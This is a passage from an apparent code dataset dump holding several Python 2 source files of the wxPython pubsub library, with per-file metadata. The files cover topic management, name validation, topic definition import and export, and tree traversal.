'pubsub.newTopic') about new topic having been created.'''\n if specGiven is None:\n specGiven = ArgSpecGiven()\n parentAI = None\n if parent:\n parentAI = parent._getListenerSpec()\n argsInfo = ArgsInfo(nameTuple, specGiven, parentAI)\n if (self.__treeConfig.raiseOnTopicUnspecified\n and not argsInfo.isComplete()):\n raise ListenerSpecIncomplete(nameTuple)\n\n newTopicObj = Topic(self.__treeConfig, nameTuple, desc,\n argsInfo, parent = parent)\n # sanity checks:\n assert not self._topicsMap.has_key(newTopicObj.getName())\n if parent is self._allTopics:\n assert len( newTopicObj.getNameTuple() ) == 1\n else:\n assert parent.getNameTuple() == newTopicObj.getNameTuple()[:-1]\n assert nameTuple == newTopicObj.getNameTuple()\n\n # store new object and notify of creation\n self._topicsMap[ newTopicObj.getName() ] = newTopicObj\n self.__treeConfig.notificationMgr.notifyNewTopic(\n newTopicObj, desc, specGiven.reqdArgs, specGiven.argsDocs)\n \n return newTopicObj\n\n\ndef validateNameHierarchy(topicTuple):\n '''Check that names in topicTuple are valid: no spaces, not empty.\n Raise ValueError if fails check. E.g. ('',) and ('a',' ') would\n both fail, but ('a','b') would be ok. '''\n if not topicTuple:\n topicName = stringize(topicTuple)\n errMsg = 'empty topic name'\n raise TopicNameInvalid(topicName, errMsg)\n \n for indx, topic in enumerate(topicTuple):\n errMsg = None\n if topic is None:\n topicName = list(topicTuple)\n topicName[indx] = 'None'\n errMsg = 'None at level #%s'\n\n elif not topic:\n topicName = stringize(topicTuple)\n errMsg = 'empty element at level #%s'\n\n elif topic.isspace():\n topicName = stringize(topicTuple)\n errMsg = 'blank element at level #%s'\n\n if errMsg:\n raise TopicNameInvalid(topicName, errMsg % indx)\n\n\n", "id": "1359355", "language": "Python", "matching_score": 4.542189121246338, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/topicmgr.py" }, { "content": "'''\nVarious little utilities used by topic-related modules. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\nfrom textwrap import TextWrapper, dedent\n\n\n__all__ = []\n\n\nUNDERSCORE = '_' # topic name can't start with this\n# just want something unlikely to clash with user's topic names\nALL_TOPICS = 'ALL_TOPICS'\n\n\nclass WeakNone:\n '''Pretend to be a weak reference to nothing. Used by ArgsInfos to\n refer to parent when None so no if-else blocks needed. '''\n def __call__(self):\n return None\n\n\ndef smartDedent(paragraph):\n '''\n Dedents a paragraph that is a triple-quoted string. If the first\n line of the paragraph does not contain blanks, the dedent is applied\n to the remainder of the paragraph. This handles the case where a user\n types a documentation string as \n \n \"\"\"A long string spanning\n several lines.\"\"\"\n \n Regular textwrap.dedent() will do nothing to this text because of the \n first line. Requiring that the user type the docs as \"\"\"\\ with line \n continuation is not acceptable. \n '''\n if paragraph.startswith(' '):\n para = dedent(paragraph)\n else:\n lines = paragraph.split('\\n')\n exceptFirst = dedent('\\n'.join(lines[1:]))\n para = lines[0]+exceptFirst\n return para\n\n\nclass TopicNameInvalid(RuntimeError):\n def __init__(self, name, reason):\n msg = 'Topic name %s invalid: %s' % (name, reason)\n RuntimeError.__init__(self, msg)\n\n\nimport re\n_validNameRE = re.compile(r'[a-zA-Z]\\w*')\n\n\ndef validateName(topicName):\n '''Raise TopicNameInvalid if nameTuple not valid as topic name.'''\n topicNameTuple = tupleize(topicName)\n if not topicNameTuple:\n reason = 'name tuple must have at least one item!'\n raise TopicNameInvalid(None, reason)\n\n class topic: pass\n for subname in topicNameTuple:\n if not subname:\n reason = 'can\\'t contain empty string or None'\n raise TopicNameInvalid(topicNameTuple, reason)\n\n if subname.startswith(UNDERSCORE):\n reason = 'must not start with \"%s\"' % UNDERSCORE\n raise TopicNameInvalid(topicNameTuple, reason)\n\n if subname == ALL_TOPICS:\n reason = 'string \"%s\" is reserved for root topic' % ALL_TOPICS\n raise TopicNameInvalid(topicNameTuple, reason)\n\n if _validNameRE.match(subname) is None:\n reason = 'element #%s (\"%s\") has invalid characters' % \\\n (1+list(topicNameTuple).index(subname), subname)\n raise TopicNameInvalid(topicNameTuple, reason)\n\n\ndef stringize(topicNameTuple):\n '''If topicName is a string, do nothing and return it \n as is. Otherwise, convert it to one, using dotted notation,\n i.e. ('a','b','c') => 'a.b.c'. Empty name is not allowed \n (ValueError). The reverse operation is tupleize(topicName).'''\n if isinstance(topicNameTuple, str):\n return topicNameTuple\n \n try:\n name = '.'.join(topicNameTuple)\n except Exception, exc:\n raise TopicNameInvalid(topicNameTuple, str(exc))\n \n return name\n\n\ndef tupleize(topicName):\n '''If topicName is a tuple of strings, do nothing and return it \n as is. Otherwise, convert it to one, assuming dotted notation \n used for topicName. I.e. 'a.b.c' => ('a','b','c'). Empty \n topicName is not allowed (ValueError). The reverse operation \n is stringize(topicNameTuple).'''\n # assume name is most often str; if more often tuple, \n # then better use isinstance(name, tuple)\n if isinstance(topicName, str): \n topicTuple = tuple(topicName.split('.'))\n else:\n topicTuple = tuple(topicName) # assume already tuple of strings\n \n if not topicTuple:\n raise TopicNameInvalid(topicTuple, \"Topic name can't be empty!\")\n \n return topicTuple\n\n\ndef versionedImport(modName, g, *varNames, **fromNames):\n '''Import a versioned pubsub module, ie one that has API different\n depending on message protocol used. Example: say a module 'foo.py' does\n\n from topicutils import versionedImport\n versionedImport('moduleName', globals(), 'class1', obj2='obj1')\n\n This will import the correct version of 'moduleName' and put its 'class1'\n and 'obj1' objects into foo's module namespace such that foo.class1\n and foo.obj2 will be the correct class1 and obj1 for messaging protocol\n used in pubsub.\n '''\n # associate message protocol to file suffixes\n impVers = dict(\n kwargs = 'p2',\n arg1 = 'p1')\n # create real module name to import\n import policies\n versionStr = impVers[policies.msgDataProtocol]\n fullModName = \"%s_%s\" % (modName, versionStr)\n # do import\n modObj = __import__(fullModName)\n \n def impSymbol(nameInG, nameInMod = None):\n nameInMod = nameInMod or nameInG # assume same if not specified\n varVal = getattr(modObj, nameInMod, None)\n if varVal is None:\n raise ValueError('No \"%s\" in %s' % (nameInMod, modObj))\n g[nameInG] = varVal\n\n # import given symbols (if any) into g dict\n for varName in varNames:\n impSymbol(varName)\n for nameInG, nameInMod in fromNames.iteritems():\n impSymbol(nameInG, nameInMod)\n\n", "id": "384361", "language": "Python", "matching_score": 2.726278781890869, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/topicutils.py" }, { "content": "'''\nEverything that has to do with topic definition tree import/export. \n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nimport os, re, inspect\nfrom textwrap import TextWrapper, dedent\n\nimport policies\nfrom topicargspec import topicArgsFromCallable, ArgSpecGiven\nfrom topictreetraverser import TopicTreeTraverser\n\nIMPORT_MODULE = 'module'\nIMPORT_STRING = 'string'\nIMPORT_CLASS = 'class'\n\n\n# method name assumed to represent Topic Message Data Specification\nSPEC_METHOD_NAME = 'msgDataSpec'\n\n\nclass ITopicDefnDeserializer:\n '''\n All functionality to convert a topic tree representation into a\n set of topic definitions that can be used by a topic definition\n provider.\n '''\n\n class TopicDefn:\n '''Encapsulate date for a topic definition. Returned by\n getNextTopic().'''\n\n def __init__(self, nameTuple, description, argsDocs, required):\n self.nameTuple = nameTuple\n self.description = description\n self.argsDocs = argsDocs\n self.required = required\n\n def isComplete(self):\n return (self.description is not None) and (self.argsDocs is not None)\n\n def getTreeDoc(self):\n '''Get the documentation for the topic tree. This will be\n interpreted differently based on the type of definition provider. '''\n raise NotImplementedError\n\n def getNextTopic(self):\n '''Override this to provide the next topic definition available\n from the data. The return must be an instance of TopicDefn.'''\n raise NotImplementedError\n\n def doneIter(self):\n '''This will be called automatically by the definition provider once\n it considers the iteration completed. Override this only if your\n deserializer needs to do something, such as close a file.\n '''\n pass\n\n def resetIter(self):\n '''May be called by the definition provider if needs to\n restart the iteration. Override this only if something\n special must be done such as resetting a file point to\n beginning etc. '''\n pass\n\n\nclass TopicDefnDeserialClass(ITopicDefnDeserializer):\n '''\n Interpret a class tree as a topic definition tree. The class name is the\n topic name, its doc string is its description. A method called the same \n as SPEC_METHOD_NAME is inpsected to infer the optional and required\n message arguments that all listeners must accept. The doc string of that\n method is parsed to extract the description for each argument.\n '''\n\n def __init__(self, pyClassObj=None):\n '''If pyClassObj is given, it is a class that contains nested\n classes defining root topics; the root topics contain nested\n classes defining subtopics; etc. Hence the init calls\n addDefnFromClassObj() on each nested class found in pyClassObj. '''\n self.__rootTopics = []\n self.__iterStarted = False\n self.__nextTopic = iter(self.__rootTopics)\n self.__rootDoc = None\n\n if pyClassObj is not None:\n self.__rootDoc = pyClassObj.__doc__\n topicClasses = self.__getTopicClasses(pyClassObj)\n for topicName, pyClassObj in topicClasses:\n self.addDefnFromClassObj(pyClassObj)\n\n def getTreeDoc(self):\n '''Returns the first doc string that was found in the pyClassObj\n given to self. '''\n return self.__rootDoc\n\n def addDefnFromClassObj(self, pyClassObj):\n '''Use pyClassObj as a topic definition written using \"Python classes\".\n The class name is the topic name, assumed to be a root topic, and\n descends recursively down into nested classes. '''\n if self.__iterStarted:\n raise RuntimeError('addClassObj must be called before iteration started!')\n\n parentNameTuple = (pyClassObj.__name__, )\n if pyClassObj.__doc__ is not None:\n self.__rootTopics.append( (parentNameTuple, pyClassObj) )\n if self.__rootDoc is None:\n self.__rootDoc = pyClassObj.__doc__\n self.__findTopics(pyClassObj, parentNameTuple)\n # iterator is now out of sync, so reset it; obviously this would\n # screw up getNextTopic which is why we had to test for self.__iterStarted\n self.__nextTopic = iter(self.__rootTopics)\n\n def getNextTopic(self):\n '''Get next topic defined by this provider. Returns None when\n no topics are left. May call resetIter() to restart the iteration.'''\n self.__iterStarted = True\n try:\n topicNameTuple, topicClassObj = self.__nextTopic.next()\n except StopIteration:\n return None\n\n # ok get the info from class\n if hasattr(topicClassObj, SPEC_METHOD_NAME):\n protoListener = getattr(topicClassObj, SPEC_METHOD_NAME)\n argsDocs, required = topicArgsFromCallable(protoListener)\n if protoListener.__doc__:\n self.__setArgsDocsFromProtoDocs(argsDocs, protoListener.__doc__)\n else:\n # assume definition is implicitly that listener has no args\n argsDocs = {}\n required = ()\n desc = None\n if topicClassObj.__doc__:\n desc = dedent(topicClassObj.__doc__)\n return self.TopicDefn(topicNameTuple, desc, argsDocs, required)\n\n def resetIter(self):\n self.__iterStarted = False\n self.__nextTopic = iter(self.__rootTopics)\n\n def getDefinedTopics(self):\n return [nt for (nt, defn) in self.__rootTopics]\n\n def __findTopics(self, pyClassObj, parentNameTuple=()):\n assert not self.__iterStarted\n if parentNameTuple: # sanity check\n assert pyClassObj.__name__ == parentNameTuple[-1]\n\n topicClasses = self.__getTopicClasses(pyClassObj, parentNameTuple)\n\n # make sure to update rootTopics BEFORE we recurse, so that toplevel\n # topics come first in the list\n for parentNameTuple2, topicClassObj in topicClasses:\n # we only keep track of topics that are documented, so that\n # multiple providers can co-exist without having to duplicate\n # information\n if topicClassObj.__doc__ is not None:\n self.__rootTopics.append( (parentNameTuple2, topicClassObj) )\n # now can find its subtopics\n self.__findTopics(topicClassObj, parentNameTuple2)\n\n def __getTopicClasses(self, pyClassObj, parentNameTuple=()):\n '''Returns a list of pairs, (topicNameTuple, memberClassObj)'''\n memberNames = dir(pyClassObj)\n topicClasses = []\n for memberName in memberNames:\n member = getattr(pyClassObj, memberName)\n if inspect.isclass( member ):\n topicNameTuple = parentNameTuple + (memberName,)\n topicClasses.append( (topicNameTuple, member) )\n return topicClasses\n\n def __setArgsDocsFromProtoDocs(self, argsDocs, protoDocs):\n PAT_ITEM_STR = r'\\A-\\s*' # hyphen and any number of blanks\n PAT_ARG_NAME = r'(?P<argName>\\w*)'\n PAT_DOC_STR = r'(?P<doc1>.*)'\n PAT_BLANK = r'\\s*'\n PAT_ITEM_SEP = r':'\n argNamePat = re.compile(\n PAT_ITEM_STR + PAT_ARG_NAME + PAT_BLANK + PAT_ITEM_SEP\n + PAT_BLANK + PAT_DOC_STR)\n protoDocs = dedent(protoDocs)\n lines = protoDocs.splitlines()\n argName = None\n namesFound = []\n for line in lines:\n match = argNamePat.match(line)\n if match:\n argName = match.group('argName')\n namesFound.append(argName)\n argsDocs[argName] = [match.group('doc1') ]\n elif argName:\n argsDocs[argName].append(line)\n\n for name in namesFound:\n argsDocs[name] = '\\n'.join( argsDocs[name] )\n\n\nclass TopicDefnDeserialModule(ITopicDefnDeserializer):\n '''\n Deserialize a module containing source code defining a topic tree.\n This loads the module and finds all class definitions in it (at\n module level that is) and uses a TopicDefnDeserialClass to\n deserialize each one into a topic definition.\n '''\n\n def __init__(self, moduleName, searchPath=None):\n '''Load the given named module, searched for in searchPath or, if not\n specified, in sys.path. The top-level classes will be assumed to be\n topic definitions with a doc string and a message data specification\n method as described in TopicDefnDeserialClass'.\n '''\n import imp\n fp, pathname, description = imp.find_module(moduleName, searchPath)\n try:\n module = imp.load_module(moduleName, fp, pathname, description)\n finally:\n # Since we may exit via an exception, close fp explicitly.\n if fp:\n fp.close()\n\n self.__classDeserial = TopicDefnDeserialClass(module)\n# self.__moduleDoc = module.__doc__\n# memberNames = dir(module)\n# for memberName in memberNames:\n# member = getattr(module, memberName)\n# if inspect.isclass(member):\n# self.__classDeserial.addDefnFromClassObj(member)\n\n def getTreeDoc(self):\n return self.__classDeserial.getTreeDoc()\n #return self.__moduleDoc\n \n def getNextTopic(self):\n return self.__classDeserial.getNextTopic()\n\n def doneIter(self):\n self.__classDeserial.doneIter()\n\n def resetIter(self):\n self.__classDeserial.resetIter()\n\n def getDefinedTopics(self):\n return self.__classDeserial.getDefinedTopics()\n\n\nclass TopicDefnDeserialString(ITopicDefnDeserializer):\n '''\n Deserialize a string containing source code defining a topic tree.\n This just saves the string into a temporary file created in os.getcwd(), \n and the rest is delegated to TopicDefnDeserialModule. The temporary\n file (module) is deleted (as well as its byte-compiled version)\n when the doneIter() method is called.\n '''\n\n def __init__(self, source):\n def createTmpModule():\n moduleNamePre = 'tmp_export_topics_'\n import os, tempfile\n creationDir = os.getcwd()\n fileID, path = tempfile.mkstemp('.py', moduleNamePre, dir=creationDir)\n stringFile = os.fdopen(fileID, 'w')\n stringFile.write( dedent(source) )\n stringFile.close()\n return path, [creationDir]\n\n self.__filename, searchPath = createTmpModule()\n moduleName = os.path.splitext( os.path.basename(self.__filename) )[0]\n self.__modDeserial = TopicDefnDeserialModule(moduleName, searchPath)\n\n def getTreeDoc(self):\n return self.__modDeserial.getTreeDoc()\n\n def getNextTopic(self):\n return self.__modDeserial.getNextTopic()\n\n def doneIter(self):\n self.__modDeserial.doneIter()\n # remove the temporary module and its compiled version (*.pyc)\n os.remove(self.__filename)\n os.remove(self.__filename + 'c')\n\n def resetIter(self):\n self.__modDeserial.resetIter()\n\n def getDefinedTopics(self):\n return self.__modDeserial.getDefinedTopics()\n\n\n#########################################################################\n\nclass ITopicDefnProvider:\n '''\n All topic definition providers must follow this protocol. They must\n at very least provide a getDefn() method that returns a pair\n (string, ArgSpecGiven), or (None, None). The first member is a\n description for topic, and second one contains the listener callback\n protocol. See note in MasterTopicDefnProvider about what *it*\n returns based on the return of getDefn().\n '''\n \n def getDefn(self, topicNameTuple):\n return 'From incompletely implemented PROVIDER', ArgSpecGiven()\n\n def topicNames(self):\n '''Return an iterator over topic names available from this provider.\n Note that the topic names should be in tuple rather than dotted-string\n form so as to be compatible with getDefn().'''\n msg = 'Must return a list of topic names available from this provider'\n raise NotImplementedError(msg)\n\n def __iter__(self):\n '''Same as self.topicNames().'''\n return self.topicNames()\n\n\nclass TopicDefnProvider(ITopicDefnProvider):\n '''\n Default implementation of the ITopicDefnProvider API. This\n implementation accepts several formats for the source data\n and delegates to suitable parser that knows how to convert\n source data into a topic definition.\n\n You can create your own topic definition provider classes,\n for formats (say, XML) not supported by TopicDefnProvider.\n See also pub.addTopicDefnProvider().\n '''\n\n typeRegistry = {}\n\n def __init__(self, source, format=IMPORT_MODULE):\n providerClassObj = self.typeRegistry[format]\n provider = providerClassObj(source)\n self.__topicDefns = {}\n self.__treeDocs = provider.getTreeDoc()\n try:\n topicDefn = provider.getNextTopic()\n while topicDefn is not None:\n self.__topicDefns[topicDefn.nameTuple] = topicDefn\n topicDefn = provider.getNextTopic()\n finally:\n provider.doneIter()\n\n def getTreeDoc(self):\n return self.__treeDocs\n\n def getDefn(self, topicNameTuple):\n desc, spec = None, None\n defn = self.__topicDefns.get(topicNameTuple, None)\n if defn is not None:\n assert defn.isComplete()\n desc = defn.description\n spec = ArgSpecGiven(defn.argsDocs, defn.required)\n return desc, spec\n\n def topicNames(self):\n return self.__topicDefns.iterkeys()\n\n\ndef registerTypeForImport(typeName, providerClassObj):\n TopicDefnProvider.typeRegistry[typeName] = providerClassObj\n\nregisterTypeForImport(IMPORT_MODULE, TopicDefnDeserialModule)\nregisterTypeForImport(IMPORT_STRING, TopicDefnDeserialString)\nregisterTypeForImport(IMPORT_CLASS, TopicDefnDeserialClass)\n\n\n#########################################################################\n\n\nclass MasterTopicDefnProvider:\n '''\n Stores a list of topic definition providers. When queried for a topic\n definition, queries each provider (registered via addProvider()) and\n returns the first complete definition provided, or (None,None).\n\n The providers must follow the ITopicDefnProvider protocol.\n '''\n\n def __init__(self, treeConfig):\n self.__providers = []\n self.__treeConfig = treeConfig\n\n def addProvider(self, provider):\n '''Add given provider IF not already added; returns how many\n providers have been registered, ie if new provider, will be\n 1 + last call's return, otherwise (provider had already been added)\n then will be same as last call's return value. '''\n if provider not in self.__providers:\n self.__providers.append(provider)\n return len(self.__providers)\n\n def clear(self):\n self.__providers = []\n\n def getNumProviders(self):\n return len(self.__providers)\n\n def getDefn(self, topicNameTuple):\n '''Returns a pair (string, ArgSpecGiven), or (None,None) if a\n complete definition was not available from any of the registered topic\n definition providers. The first item is a description string for the\n topic, the second is an instance of ArgSpecGiven specifying the\n listener protocol required for listeners of this topic. The\n definition (the returned pair) is complete if the description is\n not None and the second item has isComplete() == True. Hence,\n if the description is None, so is the second item. Alternately,\n if second item, obtained from the provider, has isComplete() == False,\n then return is (None, None).'''\n desc, defn = None, None\n for provider in self.__providers:\n tmpDesc, tmpDefn = provider.getDefn(topicNameTuple)\n if (tmpDesc is not None) and (tmpDefn is not None):\n assert tmpDefn.isComplete()\n desc, defn = tmpDesc, tmpDefn\n break\n\n return desc, defn\n\n def isDefined(self, topicNameTuple):\n '''Returns True only if a complete definition exists, ie topic\n has a description and a complete listener protocol specification.'''\n desc, defn = self.getDefn(topicNameTuple)\n if desc is None or defn is None:\n return False\n if defn.isComplete():\n return True\n return False\n\n\n#########################################################################\n\n\ndef _toDocString(msg):\n if not msg:\n return msg\n if msg.startswith(\"'''\") or msg.startswith('\"\"\"'):\n return msg\n return \"'''\\n%s\\n'''\" % msg.strip()\n\n\nclass TopicTreeAsSpec:\n '''\n Prints the class representation of topic tree, as Python code\n that can be imported and given to pub.addTopicDefnProvider().\n The printout can be sent to any file object (object that has a\n write() method).\n\n Example::\n\n from StringIO import StringIO\n capture = StringIO()\n printer = TopicTreeAsSpec(fileObj=capture)\n printer.traverse(someTopic)\n\n '''\n\n INDENT_CH = ' '\n #INDENT_CH = '.'\n\n def __init__(self, width=70, indentStep=4, treeDoc=None, footer=None, fileObj=None):\n '''Can specify the width of output, the indent step, the header\n and footer to print, and the destination fileObj. If no destination\n file, then stdout is assumed.'''\n self.__traverser = TopicTreeTraverser(self)\n\n import sys\n self.__destination = fileObj or sys.stdout\n self.__output = []\n self.__header = _toDocString(treeDoc)\n self.__footer = footer\n self.__lastWasAll = False # True when last topic done was the ALL_TOPICS\n\n self.__width = width\n self.__wrapper = TextWrapper(width)\n self.__indentStep = indentStep\n self.__indent = 0\n\n args = dict(width=width, indentStep=indentStep, treeDoc=treeDoc,\n footer=footer, fileObj=fileObj)\n def fmItem(argName, argVal):\n if isinstance(argVal, str):\n MIN_OFFSET = 5\n lenAV = width - MIN_OFFSET - len(argName)\n if lenAV > 0:\n argVal = `argVal[:lenAV] + '...'`\n elif argName == 'fileObj':\n argVal = fileObj.__class__.__name__\n return '# - %s: %s' % (argName, argVal)\n fmtArgs = [fmItem(argName, argVal) for (argName, argVal) in args.iteritems()]\n self.__comment = [\n '# Automatically generated by %s(**kwargs).' % self.__class__.__name__,\n '# The kwargs were:',\n ]\n self.__comment.extend(fmtArgs)\n self.__comment.extend(['']) # two empty line after comment\n\n def getOutput(self):\n return '\\n'.join( self.__output )\n\n def traverse(self, topicObj):\n self.__traverser.traverse(topicObj)\n\n def _accept(self, topicObj):\n # accept every topic\n return True\n\n def _startTraversal(self):\n # output comment\n self.__wrapper.initial_indent = '# '\n self.__wrapper.subsequent_indent = self.__wrapper.initial_indent\n self.__output.extend( self.__comment )\n\n # output header:\n if self.__header:\n self.__output.extend([''])\n self.__output.append(self.__header)\n self.__output.extend([''])\n\n def _doneTraversal(self):\n if self.__footer:\n self.__output.append('')\n self.__output.append('')\n self.__output.append(self.__footer)\n\n if self.__destination is not None:\n self.__destination.write(self.getOutput())\n\n def _onTopic(self, topicObj):\n '''This gets called for each topic. Print as per specified content.'''\n # don't print root of tree, it is the ALL_TOPICS builtin topic\n if topicObj.isAll():\n self.__lastWasAll = True\n return\n self.__lastWasAll = False\n\n self.__output.append( '' ) # empty line\n # topic name\n self.__wrapper.width = self.__width\n head = 'class %s:' % topicObj.getTailName()\n self.__formatItem(head)\n\n # each extra content (assume constructor verified that chars are valid)\n self.__printTopicDescription(topicObj)\n if policies.msgDataProtocol != 'arg1':\n self.__printTopicArgSpec(topicObj)\n\n def _startChildren(self):\n '''Increase the indent'''\n if not self.__lastWasAll:\n self.__indent += self.__indentStep\n\n def _endChildren(self):\n '''Decrease the indent'''\n if not self.__lastWasAll:\n self.__indent -= self.__indentStep\n\n def __printTopicDescription(self, topicObj):\n if topicObj.getDescription():\n extraIndent = self.__indentStep\n self.__formatItem(\"'''\", extraIndent)\n self.__formatItem( topicObj.getDescription(), extraIndent )\n self.__formatItem(\"'''\", extraIndent)\n\n def __printTopicArgSpec(self, topicObj):\n extraIndent = self.__indentStep\n\n # generate the listener protocol\n reqdArgs, optArgs = topicObj.getArgs()\n argsStr = []\n if reqdArgs:\n argsStr.append( \", \".join(reqdArgs) )\n if optArgs:\n optStr = ', '.join([('%s=None' % arg) for arg in optArgs])\n argsStr.append(optStr)\n argsStr = ', '.join(argsStr)\n\n # print it only if there are args; ie if listener() don't print it\n if argsStr:\n # output a blank line and protocol\n self.__formatItem('\\n', extraIndent)\n protoListener = 'def %s(%s):' % (SPEC_METHOD_NAME, argsStr)\n self.__formatItem(protoListener, extraIndent)\n\n # and finally, the args docs\n extraIndent += self.__indentStep\n self.__formatItem(\"'''\", extraIndent)\n # but ignore the arg keys that are in parent args docs:\n parentMsgKeys = ()\n if topicObj.getParent() is not None:\n parentMsgKeys = topicObj.getParent().getArgDescriptions().keys()\n argsDocs = topicObj.getArgDescriptions()\n for key, argDesc in argsDocs.iteritems():\n if key not in parentMsgKeys:\n msg = \"- %s: %s\" % (key, argDesc)\n self.__formatItem(msg, extraIndent)\n self.__formatItem(\"'''\", extraIndent)\n\n def __formatItem(self, item, extraIndent=0):\n indent = extraIndent + self.__indent\n indentStr = self.INDENT_CH * indent\n lines = item.splitlines()\n for line in lines:\n self.__output.append( '%s%s' % (indentStr, line) )\n\n def __formatBlock(self, text, extraIndent=0):\n self.__wrapper.initial_indent = self.INDENT_CH * (self.__indent + extraIndent)\n self.__wrapper.subsequent_indent = self.__wrapper.initial_indent\n self.__output.append( self.__wrapper.fill(text) )\n\n\ndefaultTopicTreeSpecHeader = \\\n\"\"\"\nTopic tree for application.\nUsed via pub.importTopicTree(thisModuleName).\n\"\"\"\n\ndefaultTopicTreeSpecFooter = \\\n\"\"\"\\\n# End of topic tree definition. Note that application may load\n# more than one definitions provider.\n\"\"\"\n\n\ndef exportTreeAsSpec(rootTopic=None, **kwargs):\n '''Prints the topic tree specification starting from rootTopic.\n If not specified, the whole topic tree is printed. The kwargs are the\n same as TopicTreeAsSpec's constructor: width(70), indentStep(4),\n header(None), footer(None), fileObj. If no header or footer are\n given, the default ones are used (see defaultTopicTreeSpecHeader and\n defaultTopicTreeSpecFooter), such that the resulting output can be\n imported in your application. E.g.::\n\n pyFile = file('appTopicTree.py','w')\n exportTreeAsSpec( pyFile )\n pyFile.close()\n import appTopicTree\n '''\n # only add header/footer if not already given\n kwargs.setdefault('treeDoc', defaultTopicTreeSpecHeader)\n kwargs.setdefault('footer', defaultTopicTreeSpecFooter)\n \n assert rootTopic is not None\n\n # print it\n printer = TopicTreeAsSpec(**kwargs)\n printer.traverse(rootTopic)\n\n\n", "id": "10746817", "language": "Python", "matching_score": 5.407041549682617, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/core/topicdefnprovider.py" }, { "content": "'''\n\n:copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:license: BSD, see LICENSE.txt for details.\n\n'''\n\n\nclass ITopicTreeVisitor:\n '''\n Topic tree traverser. Provides the traverse() method\n which traverses a topic tree and calls self._onTopic() for\n each topic in the tree that satisfies self._accept().\n Additionally it calls self._startChildren() whenever it\n starts traversing the subtopics of a topic, and\n self._endChildren() when it is done with the subtopics.\n Finally, it calls self._doneTraversal() when traversal\n has been completed.\n\n Derive from ITopicTreeVisitor and override one or more of the\n four self._*() methods described above. Give an instance to\n an instance of pub.TopicTreeTraverser, whose traverse()\n method will cause the tree to be printed.\n '''\n\n def _accept(self, topicObj):\n '''Override this to filter nodes of topic tree. Must return\n True (accept node) of False (reject node). Note that rejected\n nodes cause traversal to move to next branch (no children\n traversed).'''\n return True\n\n def _startTraversal(self):\n '''Override this to define what to do when traversal() starts.'''\n pass\n\n def _onTopic(self, topicObj):\n '''Override this to define what to do for each node.'''\n pass\n\n def _startChildren(self):\n '''Override this to take special action whenever a\n new level of the topic hierarchy is started (e.g., indent\n some output). '''\n pass\n\n def _endChildren(self):\n '''Override this to take special action whenever a\n level of the topic hierarchy is completed (e.g., dedent\n some output). '''\n pass\n\n def _doneTraversal(self):\n '''Override this to take special action when traversal done.'''\n pass\n\n", "id": "2445159", "language": "Python", "matching_score": 1.450761079788208, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/pubsub/utils/topictreevisitor.py" }, { "content": "\n#---------------------------------------------------------------------------\n\"\"\"\nThis module provides a publish-subscribe mechanism that allows one part \nof your application to send a \"message\" and many other parts to receive \nit, without any knowledge of each other. This helps decouple \nmodules of your application. \n\nReceivers are referred to as \"listeners\", having subscribed to messages \nof a specific \"topic\". Sending a message is as simple as calling a \nfunction with a topic name and (optionally) some data that will be sent \nto the listeners. \n\nAny callable object can be a listener, if it can be called with one \nparameter. Topic names form a hierarchy. Example use::\n \n from wx.lib.pubsub import Publisher as pub\n def aCallable(msg):\n print 'data received', msg.data\n pub.subscribe(aCallable, 'some.topic')\n pub.sendMessage('some.topic', data=123)\n // should see 'data received 123'\n \nAn important feature of pubsub is that it does not affect callables' \nlifetime: as soon as a listener is no longer in use in your application \nexcept for being subscribed to pubsub topics, the Python interpreter \nwill be able to garbage collect it and pubsub will automatically \nunsubscribe it. See Publisher class docs for more details. \n\nThe version of pubsub in wx.lib is referred to as \"pubsub 1\". Thanks \nto <NAME> and <NAME> for having provided its basis pre-2004\nand for offering that I take over its maintenance. Pubsub has since \nevolved into a separate package called PyPubSub hosted on SourceForge\n(http://pubsub.sourceforge.net), aka \"pubsub 3\". It has better support \nfor message data via keyword arguments, notifications for calls into\npubsub, exception trapping for listeners, and topic tree documentation.\n\n:Author: <NAME>\n:Copyright: Copyright 2006-2009 by <NAME>, all rights reserved.\n:License: BSD, see LICENSE.txt for details.\n\"\"\"\n\n_implNotes = \"\"\"\nImplementation notes\n--------------------\n\nIn class PublisherClass, I represent the topics-listener set as a tree\nwhere each node is a topic, and contains a list of listeners of that\ntopic, and a dictionary of subtopics of that topic. When the publisher\nis told to send a message for a given topic, it traverses the tree\ndown to the topic for which a message is being generated, all\nlisteners on the way get sent the message.\n\nPublisherClass currently uses a weak listener topic tree to store the\ntopics for each listener, and if a listener dies before being\nunsubscribed, the tree is notified, and the tree eliminates the\nlistener from itself.\n\nIdeally, _TopicTreeNode would be a generic _TreeNode with named\nsubnodes, and _TopicTreeRoot would be a generic _Tree with named\nnodes, and PublisherClass would store listeners in each node and a topic\ntuple would be converted to a path in the tree. This would lead to a\nmuch cleaner separation of concerns. But time is over, time to move on.\n\"\"\"\n\n\nPUBSUB_VERSION = 1 # must be copied into Publisher singleton\nVERSION_STR = \"1.1.200904.r159\"\n\n#---------------------------------------------------------------------------\n\n# for function and method parameter counting:\nfrom inspect import getargspec, ismethod, isfunction\n# for weakly bound methods:\nfrom weakref import ref as WeakRef\n\n# from pubsub, for weakly bound methods:\nfrom core.weakmethod import getWeakRef as _getWeakRef\n\n# -----------------------------------------------------------------------------\n\ndef _isbound(method):\n \"\"\"Return true if method is a bound method, false otherwise\"\"\"\n assert ismethod(method)\n return method.im_self is not None\n\n\ndef _paramMinCountFunc(function):\n \"\"\"Given a function, return pair (min,d) where min is minimum # of\n args required, and d is number of default arguments.\"\"\"\n assert isfunction(function)\n (args, va, kwa, dflt) = getargspec(function)\n lenDef = len(dflt or ())\n lenArgs = len(args or ())\n lenVA = int(va is not None)\n return (lenArgs - lenDef + lenVA, lenDef)\n\n\ndef _paramMinCount(callableObject):\n \"\"\"\n Given a callable object (function, method or callable instance),\n return pair (min,d) where min is minimum # of args required, and d\n is number of default arguments. The 'self' parameter, in the case\n of methods, is not counted.\n \"\"\"\n try:\n func = callableObject.__call__.im_func\n except AttributeError:\n try:\n func 